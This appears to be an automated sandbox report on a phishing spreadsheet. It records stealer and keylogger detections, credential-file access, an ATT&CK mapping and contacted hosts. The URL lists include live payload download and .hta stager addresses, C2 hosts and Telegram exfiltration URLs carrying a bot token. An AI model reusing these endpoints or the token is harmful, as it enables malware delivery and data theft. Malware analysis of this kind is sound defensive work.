Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Queries volume information: C:\Users\user\AppData\Roaming\sihost.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	Queries volume information: C:\Users\user\AppData\Roaming\sihost.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Queries volume information: C:\Users\user\AppData\Roaming\bKVNuVuE.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Queries volume information: C:\Users\user\AppData\Roaming\bKVNuVuE.exe VolumeInformation

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 12.2.sihost.exe.3699550.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.3699550.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.4d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.460456249.0000000003699000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.455899860.00000000004D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Snake Keylogger

Source: Yara match	File source: 0000001D.00000002.626231318.0000000002891000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.625935756.0000000002691000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 12.2.sihost.exe.43da760.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.441db80.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.441db80.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.43da760.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sihost.exe PID: 3408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sihost.exe PID: 3620, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bKVNuVuE.exe PID: 3560, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 12.2.sihost.exe.43da760.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.441db80.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.441db80.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.43da760.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sihost.exe PID: 3408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sihost.exe PID: 3620, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Roaming\sihost.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\

Source: Yara match	File source: 12.2.sihost.exe.43da760.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.441db80.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.441db80.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.43da760.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sihost.exe PID: 3408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sihost.exe PID: 3620, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bKVNuVuE.exe PID: 3560, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 12.2.sihost.exe.3699550.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.3699550.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.4d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.4d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.460456249.0000000003699000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.455899860.00000000004D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Snake Keylogger

Source: Yara match	File source: 0000001D.00000002.626231318.0000000002891000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.625935756.0000000002691000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 12.2.sihost.exe.43da760.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.441db80.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.441db80.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.43da760.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sihost.exe PID: 3408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sihost.exe PID: 3620, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bKVNuVuE.exe PID: 3560, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 12.2.sihost.exe.43da760.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.441db80.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.441db80.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.sihost.exe.43da760.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sihost.exe PID: 3408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sihost.exe PID: 3620, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	13 Exploitation for Client Execution	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	111 Command and Scripting Interpreter	1 DLL Side-Loading	111 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	14 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	15 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Browser Extensions	1 Scheduled Task/Job	32 Obfuscated Files or Information	Security Account Manager	11 Security Software Discovery	SMB/Windows Admin Shares	11 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	1 Scheduled Task/Job	Login Hook	1 Install Root Certificate	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	4 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	35 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	41 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx	8%	ReversingLabs
SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\bKVNuVuE.exe	100%	Avira	TR/Dropper.MSIL.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\sihost[1].exe	100%	Avira	TR/Dropper.MSIL.Gen
C:\Users\user\AppData\Roaming\sihost.exe	100%	Avira	TR/Dropper.MSIL.Gen
C:\Users\user\AppData\Roaming\bKVNuVuE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\sihost[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\sihost.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\sihost[1].exe	42%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\AppData\Roaming\bKVNuVuE.exe	42%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\AppData\Roaming\sihost.exe	42%	ReversingLabs	ByteCode-MSIL.Trojan.Generic

Source	Detection	Scanner	Label
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://go.micros	0%	URL Reputation	safe
http://varders.kozow.com:8081	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://reallyfreegeoip.org	0%	URL Reputation	safe
http://checkip.dyndns.com	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33	0%	URL Reputation	safe
http://aborters.duckdns.org:8081	100%	URL Reputation	malware
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://51.38.247.67:8081/_send_.php?L	0%	URL Reputation	safe
http://anotherarmy.dns.army:8081	100%	URL Reputation	malware
http://us2.smtp.mailhostbox.com	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%208/14/2024%20/%207:15:53%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	0%	Avira URL Cloud	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://192.3.176.138/40/sihost.e	0%	Avira URL Cloud	safe
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	0%	URL Reputation	safe
http://192.3.176.138/xampp/sop/40.htax	0%	Avira URL Cloud	safe
https://www.ecosia.org/search?q=	0%	Avira URL Cloud	safe
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf	0%	Avira URL Cloud	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
https://api.telegram.org	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://192.3.176.138/xampp/sop/40.hta...se	0%	Avira URL Cloud	safe
http://192.3.176.138/xampp/sop/40.htahttp://192.3.176.138/xampp/sop/40.htaP	0%	Avira URL Cloud	safe
http://192.3.176.138/xampp/sop/40.htat	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	Avira URL Cloud	safe
http://192.3.176.138/_	0%	Avira URL Cloud	safe
https://dotnet.microsoft.c	0%	Avira URL Cloud	safe
https://exi.link/JkAPbLp	100%	Avira URL Cloud	phishing
https://reallyfreegeoip.org/xml/8.46.123.334	0%	Avira URL Cloud	safe
https://www.online-banking.business.hsbc.com.hk/portalserver/hsbc/dbbpage/commercial/online/timetabl	0%	Avira URL Cloud	safe
https://api.telegram.org/bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=4039	0%	Avira URL Cloud	safe
https://www.google.com/search?q=wmf	0%	Avira URL Cloud	safe
https://api.telegram.org/bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery	0%	Avira URL Cloud	safe
https://exi.link/JkAPbLAA	100%	Avira URL Cloud	phishing
http://192.3.176.138/xampp/sop/40.hta...	0%	Avira URL Cloud	safe
http://192.3.176.138/xampp/sop/40.htaC:	0%	Avira URL Cloud	safe
https://exi.link/a	100%	Avira URL Cloud	phishing
http://192.3.176.138/xampp/sop/40.hta06	0%	Avira URL Cloud	safe
https://exi.link/JkAPbLEA	100%	Avira URL Cloud	phishing
https://exi.link/S-	100%	Avira URL Cloud	phishing
http://192.3.176.138/40/sihost.exe	0%	Avira URL Cloud	safe
https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j46j0l3j46j0.427j0j7&sourceid=chrome&i	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20a	0%	Avira URL Cloud	safe
https://cdn.ecosia.org/assets/image	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://192.3.176.138/xampp/sop/40.htalent%	0%	Avira URL Cloud	safe
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	0%	Avira URL Cloud	safe
https://exi.link/JkAPbLyX	100%	Avira URL Cloud	phishing
https://api.telegram.org/bot/sendMessage?chat_id=&text=	0%	Avira URL Cloud	safe
https://www.google.com/favicon.ico	0%	Avira URL Cloud	safe
http://192.3.176.138/40/sihost.exep	0%	Avira URL Cloud	safe
https://exi.link/JkAPbL	100%	Avira URL Cloud	phishing
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	Avira URL Cloud	safe
https://www.google.com/sorry/index	0%	Avira URL Cloud	safe
https://www.business.hsbc.com.hk/en-gb/resource-centre/commercial-tariffs)	0%	Avira URL Cloud	safe
http://192.3.176.138/xampp/sop/40.htaJ6	0%	Avira URL Cloud	safe
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%208/15/2024%20/%207:26:06%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	0%	Avira URL Cloud	safe
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a	0%	Avira URL Cloud	safe
http://192.3.176.138/	0%	Avira URL Cloud	safe
https://exi.link/	100%	Avira URL Cloud	phishing
https://www.google.com/search?q=net	0%	Avira URL Cloud	safe
https://www.google.com/sorry/indextest	0%	Avira URL Cloud	safe
http://api.telegram.org	0%	Avira URL Cloud	safe
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	Avira URL Cloud	safe
http://192.3.176.138/xampp/sop/40.hta	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
us2.smtp.mailhostbox.com	208.91.199.225	true	true	unknown
exi.link	159.203.133.15	true	false	unknown
reallyfreegeoip.org	188.114.96.3	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	158.101.44.242	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%208/14/2024%20/%207:15:53%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://api.telegram.org/bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery	false	Avira URL Cloud: safe	unknown
http://192.3.176.138/40/sihost.exe	true	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.33	false	URL Reputation: safe	unknown
https://exi.link/JkAPbL	false	Avira URL Cloud: phishing	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20and%20Time:%208/15/2024%20/%207:26:06%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20888683%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	Avira URL Cloud: safe	unknown
http://192.3.176.138/xampp/sop/40.hta	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	sihost.exe, 00000011.00000002.625935756.0000000002955000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.000000000370C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002914000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002927000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.0000000003758000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B28000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B15000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.176.138/40/sihost.e	powershell.exe, 00000007.00000002.438678228.0000000002876000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	sihost.exe, 00000011.00000002.625935756.0000000002955000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.000000000370C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002914000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002927000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.0000000003758000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B28000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B15000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dwmf%2B5.1%26oq%3Dwmf	bKVNuVuE.exe, 0000001D.00000002.629343652.0000000003A4E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org	bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002C9A000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002CDB000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A4C000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
